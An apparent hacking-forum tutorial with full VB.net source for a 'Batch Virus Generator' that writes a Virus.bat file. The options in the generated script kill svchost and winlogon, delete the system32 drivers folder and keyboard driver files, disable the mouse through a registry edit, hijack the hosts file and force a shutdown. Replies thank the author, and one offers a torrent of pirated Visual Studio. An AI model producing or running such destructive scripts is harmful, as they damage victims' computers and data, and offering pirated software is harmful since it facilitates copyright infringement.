How to make a Batch File Generator [VB.net]

OliverE

Power member.
Reputation
0
[TuT] How to make a Batch File Generator [VB.net]

Project Files: [attachment=60]

Hi-Res: http://www.youtube.com/watch?v=FJSKgyMAf3Y]http://www.youtube.com/watch?v=FJSKgyMAf3Y[video=youtube]http://www.youtube.com/watch?v=FJSKgyMAf3Y[/video][/CENTER]

Ok im going to expect you guys know how to create a new windows form application, and the basics of the program.
So create a form design like this picture.
[attachment=61]

STARTING CODE
[vb]Public Class Form1

End Class[/vb]

= = = = = = = = = = = = = = = = = = = =

DEFINING THE CHECKBOXES
We are defining the checkboxes to easy words which are short and easy to remember for later.
We define them as Boolean as checkboxes are either True or False.

[vb]Public Class Form1
Dim blockurl As Boolean
Dim loadurl As Boolean
Dim mesgbox As Boolean
Dim shutdown As Boolean
Dim bsof As Boolean
Dim dmouse As Boolean
Dim dkeyboard As Boolean
End Class[/vb]

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX1 IS CHANGED
When the check state of checkbox1 is changed, this sub is looked at.
We then check if checkbox1 is checked, if it is, we put loadurl to true.
If it isn’t, then we put it to false.

[vb]Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
loadurl = True
Else
loadurl = False
End If
End Sub[/vb]

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX2 IS CHANGED
The rest of the checkboxes are basically the same as the first, so it should be easy to figure out.
[vb]Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.CheckedChanged
If CheckBox3.Checked = True Then
blockurl = True
Else
blockurl = False
End If
End Sub[/vb]

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX2 IS CHANGED
[vb]Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox2.CheckedChanged
If CheckBox2.Checked = True Then
mesgbox = True
Else
mesgbox = False
End If
End Sub[/vb]

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX4 IS CHANGED
[vb]Private Sub CheckBox4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox4.CheckedChanged
If CheckBox4.Checked = True Then
shutdown = True
Else
shutdown = False
End If
End Sub
[/vb]

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX5 IS CHANGED
[vb]Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox5.CheckedChanged
If CheckBox5.Checked = True Then
bsof = True
Else
bsof = False
End If
End Sub[/vb]

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX6 IS CHANGED
[vb]Private Sub CheckBox6_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox6.CheckedChanged
If CheckBox6.Checked = True Then
dmouse = True
Else
dmouse = False
End If
End Sub[/vb]

= = = = = = = = = = = = = = = = = = = =

CHECKING WHEN CHECKBOX7 IS CHANGED
[vb]Private Sub CheckBox7_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox7.CheckedChanged
If CheckBox7.Checked = True Then
dkeyboard = True
Else
dkeyboard = False
End If
End Sub[/vb]

= = = = = = = = = = = = = = = = = = = =

WRITING THE BATCH FILE
This is the most important part of the project, or otherwise known as where the magic happens. Its pretty simple if you look over it. If you dont understand it dont worry.
[vb] Public Sub writebatch()
TextBox1.Text = "@echo off" + vbNewLine

If loadurl = True Then
TextBox1.Text = TextBox1.Text + "start " + TextBox2.Text + vbNewLine + vbNewLine
End If

If blockurl = True Then
TextBox1.Text = TextBox1.Text + "cd ""C:\Windows\System32\Drivers\etc""" + vbNewLine + "echo 127.0.0.1 " + TextBox4.Text + ">> ""Hosts""" + vbNewLine + "echo 127.0.0.1 " + TextBox4.Text + ">> ""Hosts""" + vbNewLine + vbNewLine
End If

If mesgbox = True Then
TextBox1.Text = TextBox1.Text + "msg * " + TextBox3.Text + vbNewLine + vbNewLine
End If

If shutdown = True Then
TextBox1.Text = TextBox1.Text + "SHUTDOWN -s -t " + NumericUpDown1.Value.ToString + vbNewLine + vbNewLine
End If

If bsof = True Then
TextBox1.Text = TextBox1.Text + "tskill /A svchost*" + vbNewLine + "tskill /A winlogon*" + vbNewLine + "tskill /A winlogon*" + vbNewLine + "del ""C:\WINDOWS\system32\drivers""" + vbNewLine + vbNewLine
End If

If dmouse = True Then
TextBox1.Text = TextBox1.Text + "set key=""""HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass""""" + vbNewLine + "reg delete %key%" + vbNewLine + "reg add %key% /v Start /t REG_DWORD /d 4" + vbNewLine + vbNewLine
End If

If dkeyboard = True Then
TextBox1.Text = TextBox1.Text + "del %C:\WINDOWS\system\keyboard.drv%" + vbNewLine + "del %C:\WINDOWS\system32\keyboard.sys%" + vbNewLine + vbNewLine
End If

End Sub[/vb]

= = = = = = = = = = = = = = = = = = = =

WHEN BUTTON2 (PREVIEW) IS CLICKED
The preview is the simplest command we have on the project other than defining the checkboxes. It basically tells the program to add the options we have chosen to textbox1.
[vb] Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
writebatch()
End Sub[/vb]

= = = = = = = = = = = = = = = = = = = =

WHEN BUTTON1 (SAVE) IS CLICKED
This code saves the file as Virus.bat in the same location as the generator.
Thats it, have fun.
[vb]Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
writebatch()
If My.Computer.FileSystem.FileExists("Virus.bat") Then
My.Computer.FileSystem.DeleteFile("Virus.bat")
End If
My.Computer.FileSystem.WriteAllText("Virus.bat", TextBox1.Text, True)
msgbox("Saved!")
End Sub[/vb]
[vb]
Public Class Form1
Dim blockurl As Boolean
Dim loadurl As Boolean
Dim mesgbox As Boolean
Dim shutdown As Boolean
Dim bsof As Boolean
Dim dmouse As Boolean
Dim dkeyboard As Boolean

Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
If CheckBox1.Checked = True Then
loadurl = True
Else
loadurl = False
End If
End Sub

Private Sub CheckBox3_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox3.CheckedChanged
If CheckBox3.Checked = True Then
blockurl = True
Else
blockurl = False
End If
End Sub

Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox2.CheckedChanged
If CheckBox2.Checked = True Then
mesgbox = True
Else
mesgbox = False
End If
End Sub

Private Sub CheckBox4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox4.CheckedChanged
If CheckBox4.Checked = True Then
shutdown = True
Else
shutdown = False
End If
End Sub

Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox5.CheckedChanged
If CheckBox5.Checked = True Then
bsof = True
Else
bsof = False
End If
End Sub

Private Sub CheckBox6_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox6.CheckedChanged
If CheckBox6.Checked = True Then
dmouse = True
Else
dmouse = False
End If
End Sub

Private Sub CheckBox7_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox7.CheckedChanged
If CheckBox7.Checked = True Then
dkeyboard = True
Else
dkeyboard = False
End If
End Sub

Public Sub writebatch()
TextBox1.Text = "@echo off" + vbNewLine

If loadurl = True Then
TextBox1.Text = TextBox1.Text + "start " + TextBox2.Text + vbNewLine + vbNewLine
End If

If blockurl = True Then
TextBox1.Text = TextBox1.Text + "cd ""C:\Windows\System32\Drivers\etc""" + vbNewLine + "echo 127.0.0.1 " + TextBox4.Text + ">> ""Hosts""" + vbNewLine + "echo 127.0.0.1 " + TextBox4.Text + ">> ""Hosts""" + vbNewLine + vbNewLine
End If

If mesgbox = True Then
TextBox1.Text = TextBox1.Text + "msg * " + TextBox3.Text + vbNewLine + vbNewLine
End If

If shutdown = True Then
TextBox1.Text = TextBox1.Text + "SHUTDOWN -s -t " + NumericUpDown1.Value.ToString + vbNewLine + vbNewLine
End If

If bsof = True Then
TextBox1.Text = TextBox1.Text + "tskill /A svchost*" + vbNewLine + "tskill /A winlogon*" + vbNewLine + "tskill /A winlogon*" + vbNewLine + "del ""C:\WINDOWS\system32\drivers""" + vbNewLine + vbNewLine
End If

If dmouse = True Then
TextBox1.Text = TextBox1.Text + "set key=""""HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass""""" + vbNewLine + "reg delete %key%" + vbNewLine + "reg add %key% /v Start /t REG_DWORD /d 4" + vbNewLine + vbNewLine
End If

If dkeyboard = True Then
TextBox1.Text = TextBox1.Text + "del %C:\WINDOWS\system\keyboard.drv%" + vbNewLine + "del %C:\WINDOWS\system32\keyboard.sys%" + vbNewLine + vbNewLine
End If

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
writebatch()
End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
writebatch()
If My.Computer.FileSystem.FileExists("Virus.bat") Then
My.Computer.FileSystem.DeleteFile("Virus.bat")
End If
My.Computer.FileSystem.WriteAllText("Virus.bat", TextBox1.Text, True)
msgbox("Saved!")
End Sub
End Class

[/vb]
 
RE: How to make a Batch Virus Generator [VB.net]

Is this made in VB 2010 ?
+1 rep
 
RE: How to make a Batch Virus Generator [VB.net]

Yep, i used Visual Studio 2010 Ultimate.
I can provide a torrent link if you want

Thanks
 
RE: How to make a Batch Virus Generator [VB.net]

BleepyEvans said:
Yep, i used Visual Studio 2010 Ultimate.
I can provide a torrent link if you want

Thanks

yes i would like a torrent link for that, i use VB 2008
 
RE: How to make a Batch Virus Generator [VB.net]

Ok just added the text tutorial, well its not really a tutorial, just a basic explaination about what goes on in the code.
Click "Click Here to Vew" at the bottom of the first post to view the Text Tutorial

Thanks
 
RE: How to make a Batch Virus Generator [VB.net]

Nice but, is there some way to turn it off? +1 btw.
 
RE: How to make a Batch Virus Generator [VB.net]

By turn it off do you mean stop it from doing what its doing?
Like stop disabling the mouse?

If so then a restart should do it, aslong as you dont use a "Add to Start Up" feature that I havent included in this tutorial.
 
RE: How to make a Batch Virus Generator [VB.net]

Thanks =D I know now how to stop it.
 
RE: How to make a Batch Virus Generator [VB.net]

Yes, it would be such a giggle if there was no way of stoping it.

There is a way, but im not letting out because ill get blammed lol
 
RE: How to make a Batch Virus Generator [VB.net]

Very good program thank you
 
RE: How to make a Batch Virus Generator [VB.net]

Link is below the title
 
It shows an error with the line: msgbox("Saved!")

Microsoft says that the expression is not a method...
 
JohnPhillipSousa said:
It shows an error with the line: msgbox("Saved!")

Microsoft says that the expression is not a method...

Download latest version of .NET framework.
 
Cookies are required to use this site. You must accept them to continue using the site. Learn more…